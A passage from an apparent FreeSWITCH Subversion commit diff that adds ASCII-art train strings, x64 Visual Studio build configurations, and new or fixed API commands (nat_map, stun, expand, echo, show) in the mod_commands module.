+#define D51STR4  "   /     |  |   H  |  |     |   |         ||_| |_||   "
+#define D51STR5  "  |      |  |   H  |__--------------------| [___] |   "
+#define D51STR6  "  | ________|___H__/__|_____/[][]~\\_______|       |   "
+#define D51STR7  "  |/ |   |-----------I_____I [][] []  D   |=======|__ "
+
+#define D51WHL11 "__/ =| o |=-~~\\  /~~\\  /~~\\  /~~\\ ____Y___________|__ "
+#define D51WHL12 " |/-=|___|=    ||    ||    ||    |_____/~\\___/        "
+#define D51WHL13 "  \\_/      \\O=====O=====O=====O_/      \\_/            "
+
+#define D51WHL21 "__/ =| o |=-~~\\  /~~\\  /~~\\  /~~\\ ____Y___________|__ "
+#define D51WHL22 " |/-=|___|=O=====O=====O=====O   |_____/~\\___/        "
+#define D51WHL23 "  \\_/      \\__/  \\__/  \\__/  \\__/      \\_/            "
+
+#define D51WHL31 "__/ =| o |=-O=====O=====O=====O \\ ____Y___________|__ "
+#define D51WHL32 " |/-=|___|=    ||    ||    ||    |_____/~\\___/        "
+#define D51WHL33 "  \\_/      \\__/  \\__/  \\__/  \\__/      \\_/            "
+
+#define D51WHL41 "__/ =| o |=-~O=====O=====O=====O\\ ____Y___________|__ "
+#define D51WHL42 " |/-=|___|=    ||    ||    ||    |_____/~\\___/        "
+#define D51WHL43 "  \\_/      \\__/  \\__/  \\__/  \\__/      \\_/            "
+
+#define D51WHL51 "__/ =| o |=-~~\\  /~~\\  /~~\\  /~~\\ ____Y___________|__ "
+#define D51WHL52 " |/-=|___|=   O=====O=====O=====O|_____/~\\___/        "
+#define D51WHL53 "  \\_/      \\__/  \\__/  \\__/  \\__/      \\_/            "
+
+#define D51WHL61 "__/ =| o |=-~~\\  /~~\\  /~~\\  /~~\\ ____Y___________|__ "
+#define D51WHL62 " |/-=|___|=    ||    ||    ||    |_____/~\\___/        "
+#define D51WHL63 "  \\_/      \\_O=====O=====O=====O/      \\_/            "
+
+#define D51DEL   "                                                      "
+
+
+
+#define COAL01 "                              "
+#define COAL02 "                              "
+#define COAL03 "    _________________         "
+#define COAL04 "   _|                \\_____A  "
+#define COAL05 " =|   Come To ClueCon!     |  "
+#define COAL5A " =|    CLUE CHOO!          |  "
+#define COAL06 " -| http://www.cluecon.com |  "
+#define COAL07 "__|________________________|_ "
+#define COAL08 "|__________________________|_ "
+#define COAL09 "   |_D__D__D_|  |_D__D__D_|   "
+#define COAL10 "    \\_/   \\_/    \\_/   \\_/    "
+
+#define COALDEL "                              "
+
+#define LOGOHIGHT    	 6
+#define LOGOFUNNEL  	 4
+#define LOGOLENGTH      84
+#define LOGOPATTERNS	 6
+
+#define LOGO1  "     ++      +------ "
+#define LOGO2  "     ||      |+-+ |  "
+#define LOGO3  "   /---------|| | |  "
+#define LOGO4  "  + ========  +-+ |  "
+
+#define LWHL11 " _|--O========O~\\-+  "
+#define LWHL12 "//// \\_/      \\_/    "
+
+#define LWHL21 " _|--/O========O\\-+  "
+#define LWHL22 "//// \\_/      \\_/    "
+
+#define LWHL31 " _|--/~O========O-+  "
+#define LWHL32 "//// \\_/      \\_/    "
+
+#define LWHL41 " _|--/~\\------/~\\-+  "
+#define LWHL42 "//// \\_O========O    "
+
+#define LWHL51 " _|--/~\\------/~\\-+  "
+#define LWHL52 "//// \\O========O/    "
+
+#define LWHL61 " _|--/~\\------/~\\-+  "
+#define LWHL62 "//// O========O_/    "
+
+#define LCOAL1 "____                 "
+#define LCOAL2 "|   \\@@@@@@@@@@@     "
+#define LCOAL3 "|    \\@@@@@@@@@@@@@_ "
+#define LCOAL4 "|                  | "
+#define LCOAL5 "|__________________| "
+#define LCOAL6 "   (O)       (O)     "
+
+#define LCAR1  "____________________ "
+#define LCAR2  "|  ___ ___ ___ ___ | "
+#define LCAR3  "|  |_| |_| |_| |_| | "
+#define LCAR4  "|__________________| "
+#define LCAR5  "|__________________| "
+#define LCAR6  "   (O)        (O)    "
+
+#define DELLN  "                     "

Property changes: freeswitch/branches/seven/src/mod/applications/mod_commands


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/applications/mod_commands/mod_commands.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_commands/mod_commands.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_commands/mod_commands.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/applications/mod_commands/mod_commands.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_commands/mod_commands.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_commands/mod_commands.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Johny Kadarisman <jkr888@gmail.com>
  * Paul Tinsley <jackhammer@gmail.com>
@@ -31,17 +31,95 @@
  * Bret McDanel <trixter AT 0xdecafbad.com>
  * Cesar Cepeda <cesar@auronix.com>
  * Massimo Cetra <devel@navynet.it>
+ * Rupa Schomaker <rupa@rupa.com>
  *
  * 
  * mod_commands.c -- Misc. Command Module
  *
  */
 #include <switch.h>
+#include <switch_stun.h>
 #include <switch_version.h>
 
 SWITCH_MODULE_LOAD_FUNCTION(mod_commands_load);
-SWITCH_MODULE_DEFINITION(mod_commands, mod_commands_load, NULL, NULL);
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_commands_shutdown);
+SWITCH_MODULE_DEFINITION(mod_commands, mod_commands_load, mod_commands_shutdown, NULL);
 
+SWITCH_STANDARD_API(nat_map_function)
+{
+	int argc;
+	char *mydata = NULL, *argv[5];
+	switch_nat_ip_proto_t proto = SWITCH_NAT_UDP;
+	switch_port_t external_port = 0;
+	char *tmp = NULL;
+	switch_bool_t sticky = SWITCH_FALSE;
+
+	if (!cmd) {
+		goto error;
+	}
+
+	mydata = strdup(cmd);
+	switch_assert(mydata);
+
+	argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
+
+	if (argc < 1) {
+		goto error;
+	}
+	if (argv[0] && switch_stristr("status", argv[0])) {
+		tmp = switch_nat_status();
+		stream->write_function(stream, tmp);
+		switch_safe_free(tmp);
+		goto ok;
+	} else if (argv[0] && switch_stristr("republish", argv[0])) {
+		switch_nat_republish();
+		stream->write_function(stream, "true");
+		goto ok;
+	} else if (argv[0] && switch_stristr("reinit", argv[0])) {
+		switch_nat_reinit();
+		tmp = switch_nat_status();
+		stream->write_function(stream, tmp);
+		switch_safe_free(tmp);
+		goto ok;
+	}
+	
+	if (argc < 3) {
+		goto error;
+	}
+
+	if (argv[2] && switch_stristr("tcp", argv[2])) {
+		proto = SWITCH_NAT_TCP;
+	} else if (argv[2] && switch_stristr("udp", argv[2])) {
+		proto = SWITCH_NAT_UDP;
+	}
+	
+	if (argv[3] && switch_stristr("sticky", argv[3])) {
+		sticky = SWITCH_TRUE;
+	}
+
+	if (argv[0] && switch_stristr("add", argv[0])) {
+		if (switch_nat_add_mapping((switch_port_t)atoi(argv[1]), proto, &external_port, sticky) == SWITCH_STATUS_SUCCESS) {
+			stream->write_function(stream, "true"); /* still return true */
+			goto ok;
+		}
+	} else if (argv[0] && switch_stristr("del", argv[0])) {
+		if (switch_nat_del_mapping((switch_port_t)atoi(argv[1]), proto) == SWITCH_STATUS_SUCCESS) {
+			stream->write_function(stream, "true");
+			goto ok;
+		}
+	}
+
+  error:
+
+	stream->write_function(stream, "false");
+
+  ok:
+
+	switch_safe_free(mydata);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
 SWITCH_STANDARD_API(time_test_function)
 {
 	switch_time_t now, then;
@@ -55,12 +133,19 @@
 		stream->write_function(stream, "parameter missing\n");
 		return SWITCH_STATUS_SUCCESS;
 	}
+
 	mss = atol(cmd);
 
+	if (mss > 10000) {
+		mss = 10000;
+	}
+
 	if ((p = strchr(cmd, ' '))) {
 		max = atoi(p+1);
 		if (max < 0) {
-			max = 10;
+			max = 1;
+		} else if (max > 100) {
+			max = 100;
 		}
 	}
 
@@ -248,8 +333,8 @@
 				}
 				
 			}
-			switch_xml_free(xml);
 		}
+		switch_xml_free(xml);
 		switch_event_destroy(&params);
 	}
 
@@ -340,15 +425,15 @@
 	if ((domain = strchr(user, '@'))) {
 		*domain++ = '\0';
 	} else {
-		domain = "cluecon.com";
+		if (!(domain = switch_core_get_variable("domain"))) {
+			domain = "cluecon.com";
+		}
 	}
-
+	
 	switch_event_create(&params, SWITCH_EVENT_REQUEST_PARAMS);
 	switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "user", user);
-	switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "mailbox", user);
 	switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "domain", domain);
 	switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "type", type);
-	switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "key", key);
 
 	if (key && type && switch_xml_locate_user("id", user, domain, NULL, &xml, &x_domain, &x_user, NULL, params) == SWITCH_STATUS_SUCCESS) {
 		if (!strcmp(type, "attr")) {
@@ -448,7 +533,6 @@
   end:
 	if (session || tf) {
 		stream->write_function(stream, err ? "false" : "true");
-		switch_xml_free(xml);
 	} else {
 		if (err) {
 			if (host) {
@@ -458,16 +542,17 @@
 			}
 		}
 
-		if (xml && x_user) {
+		if (x_user) {
 			xmlstr = switch_xml_toxml(x_user, SWITCH_FALSE);
 			switch_assert(xmlstr);
 
 			stream->write_function(stream, "%s", xmlstr);
 			free(xmlstr);
-			switch_xml_free(xml);
 		}
 	}
-
+	
+	switch_xml_free(xml);
+			
 	free(mydata);
 	return SWITCH_STATUS_SUCCESS;
 }
@@ -505,6 +590,131 @@
     return SWITCH_STATUS_SUCCESS;
 }
 
+SWITCH_STANDARD_API(echo_function)
+{
+	stream->write_function(stream, "%s", cmd);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_STANDARD_API(stun_function)
+{
+	char *stun_ip = NULL;
+	switch_port_t stun_port = (switch_port_t)SWITCH_STUN_DEFAULT_PORT;
+	char *p;
+	char ip_buf[256] = "";
+	char *ip = NULL;
+	char *pip = NULL;
+	switch_port_t port = 0;
+	switch_memory_pool_t *pool = NULL;
+	char *error = "";
+
+	ip = ip_buf;
+
+	if (switch_strlen_zero(cmd)) {
+		stream->write_function(stream, "%s", "-STUN Failed! NO STUN SERVER\n");
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	stun_ip = strdup(cmd);
+	switch_assert(stun_ip);
+
+	if ((p = strchr(stun_ip, ':'))) {
+		int iport;
+		*p++ = '\0';
+		iport = atoi(p);
+		if (iport > 0 && iport < 0xFFFF) {
+			stun_port = (switch_port_t) iport;
+		}
+	} else {
+		p = stun_ip;
+	}
+
+	if (p && (pip = strchr(p, ' '))) {
+		*pip++ = '\0';
+	}
+
+	if (pip) {
+		switch_copy_string(ip_buf, pip, sizeof(ip_buf));
+	} else {
+		switch_find_local_ip(ip_buf, sizeof(ip_buf), NULL, AF_INET);
+	}
+
+	switch_core_new_memory_pool(&pool);
+
+	if (switch_strlen_zero(stun_ip)) {
+		stream->write_function(stream, "%s", "-STUN Failed! NO STUN SERVER\n");
+	} else {
+		if ((switch_stun_lookup(&ip, &port, stun_ip, stun_port, &error, pool)) == SWITCH_STATUS_SUCCESS && ip && port) {
+			stream->write_function(stream, "%s:%u\n", ip, port);
+		} else {
+			stream->write_function(stream, "-STUN Failed! [%s]\n", error);
+		}
+	}
+
+	switch_core_destroy_memory_pool(&pool);
+	free(stun_ip);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_STANDARD_API(expand_function)
+{
+	char *expanded;
+	char *dup;
+	char *arg;
+	char *mycmd;
+	switch_status_t status;
+	const char *p;
+	switch_core_session_t *xsession;
+	char uuid[80] = "";
+	
+	if (switch_strlen_zero(cmd)) {
+		stream->write_function(stream, "-ERR, no input\n");
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	dup = strdup(cmd);
+	mycmd = dup;
+
+	if (!strncasecmp(mycmd, "uuid:", 5)) {
+		p = cmd + 5;
+		if ((mycmd = strchr(p, ' ')) && *mycmd++) {
+			switch_copy_string(uuid, p, mycmd - p);
+		}
+	}
+	
+	if (switch_strlen_zero(mycmd)) {
+		stream->write_function(stream, "-ERR, no input\n");
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	if (*uuid) {
+		if ((xsession = switch_core_session_locate(uuid))) {
+			switch_channel_event_set_data(switch_core_session_get_channel(xsession), stream->param_event);
+			switch_core_session_rwunlock(xsession);
+		}
+	}
+
+	if ((arg = strchr(mycmd, ' '))) {
+		*arg++ = '\0';
+	}
+
+	expanded = arg ? switch_event_expand_headers(stream->param_event, arg) : arg;
+	if ((status = switch_api_execute(mycmd, expanded, session, stream)) != SWITCH_STATUS_SUCCESS) {
+		stream->write_function(stream, "-ERR, error executing command\n");
+	}
+
+	if (expanded != arg) {
+		free(expanded);
+		expanded = NULL;
+	}
+
+	free(dup);
+	dup = NULL;
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
 SWITCH_STANDARD_API(eval_function)
 {
 	char *expanded;
@@ -645,7 +855,7 @@
 		goto end;
 	}
 
-	if (argc < 4) {
+	if (argc != 1 && argc != 4) {
 		err = "bad args";
 		goto end;
 	}
@@ -658,11 +868,20 @@
 	switch_event_create(&params, SWITCH_EVENT_REQUEST_PARAMS);
 	switch_assert(params);
 	switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "section", section);
-	switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "tag", tag);
-	switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "tag_attr_name", tag_attr_name);
-	switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "tag_attr_val", tag_attr_val);
 
-	if (switch_xml_locate(section, tag, tag_attr_name, tag_attr_val, &xml, &obj, params) != SWITCH_STATUS_SUCCESS) {
+	if (tag) {
+		switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "tag", tag);
+	}
+
+	if (tag_attr_name) {
+		switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "tag_attr_name", tag_attr_name);
+	}
+
+	if (tag_attr_val) {
+		switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "tag_attr_val", tag_attr_val);
+	}
+
+	if (switch_xml_locate(section, tag, tag_attr_name, tag_attr_val, &xml, &obj, params, SWITCH_FALSE) != SWITCH_STATUS_SUCCESS) {
 		stream->write_function(stream, "can't find anything\n");
 		goto end;
 	}
@@ -676,18 +895,17 @@
 		}
 	}
 
-	if (xml && obj) {
+	if (obj) {
 		xmlstr = switch_xml_toxml(obj, SWITCH_FALSE);
 		switch_assert(xmlstr);
-
 		stream->write_function(stream, "%s", xmlstr);
 		free(xmlstr);
-		switch_xml_free(xml);
-
 	}
 
+	switch_xml_free(xml);
 	switch_event_destroy(&params);
 	free(mydata);
+
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -767,7 +985,7 @@
 
 	if ((proceed = switch_regex_perform(argv[0], argv[1], &re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
 		if (argc > 2) {
-			len = strlen(argv[0]) * 3;
+			len = (strlen(argv[0]) + strlen(argv[2]) + 10) * proceed;
 			substituted = malloc(len);
 			switch_assert(substituted);
 			memset(substituted, 0, len);
@@ -962,6 +1180,7 @@
 	switch_core_session_ctl(SCSC_LAST_SPS, &last_sps);
 	switch_core_session_ctl(SCSC_SPS, &sps);
 	stream->write_function(stream, "%d session(s) %d/%d\n", switch_core_session_count(), last_sps, sps);
+	stream->write_function(stream, "%d session(s) max\n", switch_core_session_limit(0));
 
 	if (html) {
 		stream->write_function(stream, "</b>\n");
@@ -1384,13 +1603,13 @@
 		uint32_t mto;
 		if (*argv[4] == '+') {
 			if ((mto = atoi(argv[4] + 1)) > 0) {
-				to = switch_timestamp(NULL) + mto;
+				to = switch_epoch_time_now(NULL) + mto;
 			} else {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "INVALID Timeout!\n");
 				goto done;
 			}
 		} else {
-			if ((to = atoi(argv[4])) < switch_timestamp(NULL)) {
+			if ((to = atoi(argv[4])) < switch_epoch_time_now(NULL)) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "INVALID Timeout!\n");
 				to = 0;
 				goto done;
@@ -1520,7 +1739,7 @@
 		time_t when;
 
 		if (*argv[0] == '+') {
-			when = switch_timestamp(NULL) + atol(argv[0] + 1);
+			when = switch_epoch_time_now(NULL) + atol(argv[0] + 1);
 		} else {
 			when = atol(argv[0]);
 		}
@@ -1558,7 +1777,7 @@
 		switch_call_cause_t cause = SWITCH_CAUSE_ALLOTTED_TIMEOUT;
 
 		if (*argv[0] == '+') {
-			when = switch_timestamp(NULL) + atol(argv[0] + 1);
+			when = switch_epoch_time_now(NULL) + atol(argv[0] + 1);
 		} else {
 			when = atol(argv[0]);
 		}
@@ -1665,7 +1884,7 @@
 		time_t when;
 
 		if (*argv[0] == '+') {
-			when = switch_timestamp(NULL) + atol(argv[0] + 1);
+			when = switch_epoch_time_now(NULL) + atol(argv[0] + 1);
 		} else {
 			when = atol(argv[0]);
 		}
@@ -1690,7 +1909,7 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
-#define HOLD_SYNTAX "<uuid> [<display>]"
+#define HOLD_SYNTAX "[off] <uuid> [<display>]"
 SWITCH_STANDARD_API(uuid_hold_function)
 {
 	char *mycmd = NULL, *argv[4] = { 0 };
@@ -1733,7 +1952,7 @@
 	}
 
 	if (switch_strlen_zero(cmd) || argc < 2 || switch_strlen_zero(argv[0]) || switch_strlen_zero(argv[1])) {
-		stream->write_function(stream, "-USAGE: %s\n", HOLD_SYNTAX);
+		stream->write_function(stream, "-USAGE: %s\n", DISPLAY_SYNTAX);
 	} else {
 		switch_core_session_message_t msg = { 0 };
 		switch_core_session_t *lsession = NULL;
@@ -1850,7 +2069,6 @@
 
   usage:
 	stream->write_function(stream, "-USAGE: %s\n", SESS_REC_SYNTAX);
-	switch_safe_free(mycmd);
 
   done:
 	if (rsession) {
@@ -1914,7 +2132,6 @@
 
   usage:
 	stream->write_function(stream, "-USAGE: %s\n", DISPLACE_SYNTAX);
-	switch_safe_free(mycmd);
 
   done:
 	if (rsession) {
@@ -1929,12 +2146,13 @@
 SWITCH_STANDARD_API(break_function)
 {
 	switch_core_session_t *psession = NULL;
-	char *mycmd, *flag;
+	char *mycmd = NULL, *flag;
 	switch_channel_t *channel = NULL;
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
 
 	if (switch_strlen_zero(cmd)) {
 		stream->write_function(stream, "-USAGE: %s\n", BREAK_SYNTAX);
-		return SWITCH_STATUS_SUCCESS;
+		goto done;
 	}
 
 	mycmd = strdup(cmd);
@@ -1946,7 +2164,7 @@
 
 	if (!(psession = switch_core_session_locate(mycmd))) {
 		stream->write_function(stream, "-ERR No Such Channel!\n");
-		return SWITCH_STATUS_SUCCESS;
+		goto done;
 	}
 
 	if (flag && !strcasecmp(flag, "all")) {
@@ -1959,9 +2177,15 @@
 	} else {
 		switch_channel_set_flag(channel, CF_BREAK);
 	}
-	switch_core_session_rwunlock(psession);
 
-	return SWITCH_STATUS_SUCCESS;
+ done:
+	if (psession) {
+		switch_core_session_rwunlock(psession);
+	}
+
+	switch_safe_free(mycmd);
+
+	return status;
 }
 
 #define PAUSE_SYNTAX "<uuid> <on|off>"
@@ -2205,10 +2429,8 @@
 	switch_safe_free(cmd);
 
 	if (api_task->recur) {
-		task->runtime = switch_timestamp(NULL) + api_task->recur;
+		task->runtime = switch_epoch_time_now(NULL) + api_task->recur;
 	}
-
-
 }
 
 #define UNSCHED_SYNTAX "<task_id>"
@@ -2250,12 +2472,11 @@
 		if ((dcmd = strchr(group, ' '))) {
 			*dcmd++ = '\0';
 
-
 			if (*tm == '+') {
-				when = switch_timestamp(NULL) + atol(tm + 1);
+				when = switch_epoch_time_now(NULL) + atol(tm + 1);
 			} else if (*tm == '@') {
 				recur = (uint32_t) atol(tm + 1);
-				when = switch_timestamp(NULL) + recur;
+				when = switch_epoch_time_now(NULL) + recur;
 			} else {
 				when = atol(tm);
 			}
@@ -2280,6 +2501,8 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
+static switch_thread_rwlock_t *bgapi_rwlock = NULL;
+
 struct bg_job {
 	char *cmd;
 	char *arg;
@@ -2297,9 +2520,12 @@
 	char *arg;
 	switch_memory_pool_t *pool;
 
-	if (!job)
+	if (!job) {
 		return NULL;
+	}
 
+	switch_thread_rwlock_rdlock(bgapi_rwlock);
+
 	pool = job->pool;
 
 	SWITCH_STANDARD_STREAM(stream);
@@ -2336,6 +2562,9 @@
 	job = NULL;
 	switch_core_destroy_memory_pool(&pool);
 	pool = NULL;
+
+	switch_thread_rwlock_unlock(bgapi_rwlock);
+
 	return NULL;
 }
 
@@ -2482,7 +2711,6 @@
 #define COMPLETE_SYNTAX "add <word>|del [<word>|*]"
 SWITCH_STANDARD_API(complete_function)
 {
-
 	switch_status_t status;
 
 	if ((status = switch_console_set_complete(cmd)) == SWITCH_STATUS_SUCCESS) {
@@ -2497,7 +2725,6 @@
 #define ALIAS_SYNTAX "add <alias> <command> | del [<alias>|*]"
 SWITCH_STANDARD_API(alias_function)
 {
-
 	switch_status_t status;
 
 	if ((status = switch_console_set_alias(cmd)) == SWITCH_STATUS_SUCCESS) {
@@ -2509,7 +2736,7 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
-#define SHOW_SYNTAX "codec|application|api|dialplan|file|timer|calls [count]|channels [count]|aliases|complete|chat|endpoint|management|say|interfaces|interface_types"
+#define SHOW_SYNTAX "codec|endpoint|application|api|dialplan|file|timer|calls [count]|channels [count]|distinct_channels|aliases|complete|chat|endpoint|management|modules|nat_map|say|interfaces|interface_types"
 SWITCH_STANDARD_API(show_function)
 {
 	char sql[1024];
@@ -2573,31 +2800,70 @@
 		if (end_of(command) == 's') {
 			end_of(command) = '\0';
 		}
-		sprintf(sql, "select type, name from interfaces where type = '%s' order by type,name", command);
+		sprintf(sql, "select type, name, key from interfaces where type = '%s' order by type,name", command);
+	} else if (!strncasecmp(command, "module", 6)) {
+		if (argv[1]) {
+			sprintf(sql, "select distinct type, name, key, filename from interfaces where key = '%s' order by type,name", argv[1]);
+		} else {
+			sprintf(sql, "select distinct type, name, key, filename from interfaces order by type,name");
+		}
 	} else if (!strcasecmp(command, "interfaces")) {
-		sprintf(sql, "select type, name from interfaces order by type,name");
+		sprintf(sql, "select type, name, key from interfaces order by type,name");
 	} else if (!strcasecmp(command, "interface_types")) {
 		sprintf(sql, "select type,count(type) as total from interfaces group by type order by type");
 	} else if (!strcasecmp(command, "tasks")) {
 		sprintf(sql, "select * from %s", command);
 	} else if (!strcasecmp(command, "application") || !strcasecmp(command, "api")) {
-		sprintf(sql, "select name, description, syntax from interfaces where type = '%s' and description != '' order by type,name", command);
+		if (argv[1] && strcasecmp(argv[1], "as")) {
+			sprintf(sql, "select name, description, syntax, key from interfaces where type = '%s' and description != '' and name = '%s' order by type,name", command, argv[1]);
+		} else {
+			sprintf(sql, "select name, description, syntax, key from interfaces where type = '%s' and description != '' order by type,name", command);
+		}
 	} else if (!strcasecmp(command, "calls")) {
-		sprintf(sql, "select * from calls order by created_epoch");
+		sprintf(sql, "select * from calls order by call_created_epoch");
 		if (argv[1] && !strcasecmp(argv[1],"count")) {
 		    holder.justcount = 1;
 		    if (argv[3] && !strcasecmp(argv[2], "as")) {
 			as = argv[3];
 		    }
 		}
+	} else if (!strcasecmp(command, "channels") && argv[1] && !strcasecmp(argv[1], "like")) {
+		if (argv[2]) {
+			char *p;
+			for (p = argv[2]; p && *p; p++) {
+				if (*p == '\'' || *p == ';') {
+					*p = ' ';
+				}
+			}
+			if (strchr(argv[2], '%')) {
+				sprintf(sql, "select * from channels where uuid like '%s' or name like '%s' or cid_name like '%s' or cid_num like '%s' order by created_epoch",
+						argv[2], argv[2], argv[2], argv[2]);
+			} else {
+				sprintf(sql, "select * from channels where uuid like '%%%s%%' or name like '%%%s%%' or cid_name like '%%%s%%' or cid_num like '%%%s%%' order by created_epoch",
+						argv[2], argv[2], argv[2], argv[2]);
+
+			}
+					
+		    if (argv[4] && !strcasecmp(argv[3], "as")) {
+				as = argv[4];
+		    }
+		} else {
+			sprintf(sql, "select * from channels order by created_epoch");
+		}
 	} else if (!strcasecmp(command, "channels")) {
 		sprintf(sql, "select * from channels order by created_epoch");
 		if (argv[1] && !strcasecmp(argv[1],"count")) {
 		    holder.justcount = 1;
 		    if (argv[3] && !strcasecmp(argv[2], "as")) {
-			as = argv[3];
+				as = argv[3];
 		    }
 		}
+	} else if (!strcasecmp(command, "distinct_channels")) {
+		sprintf(sql, "select * from channels left join calls on "
+				"channels.uuid=calls.caller_uuid where channels.uuid not in (select callee_uuid from calls) order by created_epoch");
+		if (argv[2] && !strcasecmp(argv[1], "as")) {
+			as = argv[2];
+		}
 	} else if (!strcasecmp(command, "aliases")) {
 		sprintf(sql, "select * from aliases order by alias");
 	} else if (!strcasecmp(command, "complete")) {
@@ -2607,13 +2873,25 @@
 
 		help = 1;
 		holder.print_title = 0;
-		if ((cmdname = strchr(command, ' ')) != 0) {
+		if ((cmdname = strchr(command, ' ')) && strcasecmp(cmdname, "as")) {
 			*cmdname++ = '\0';
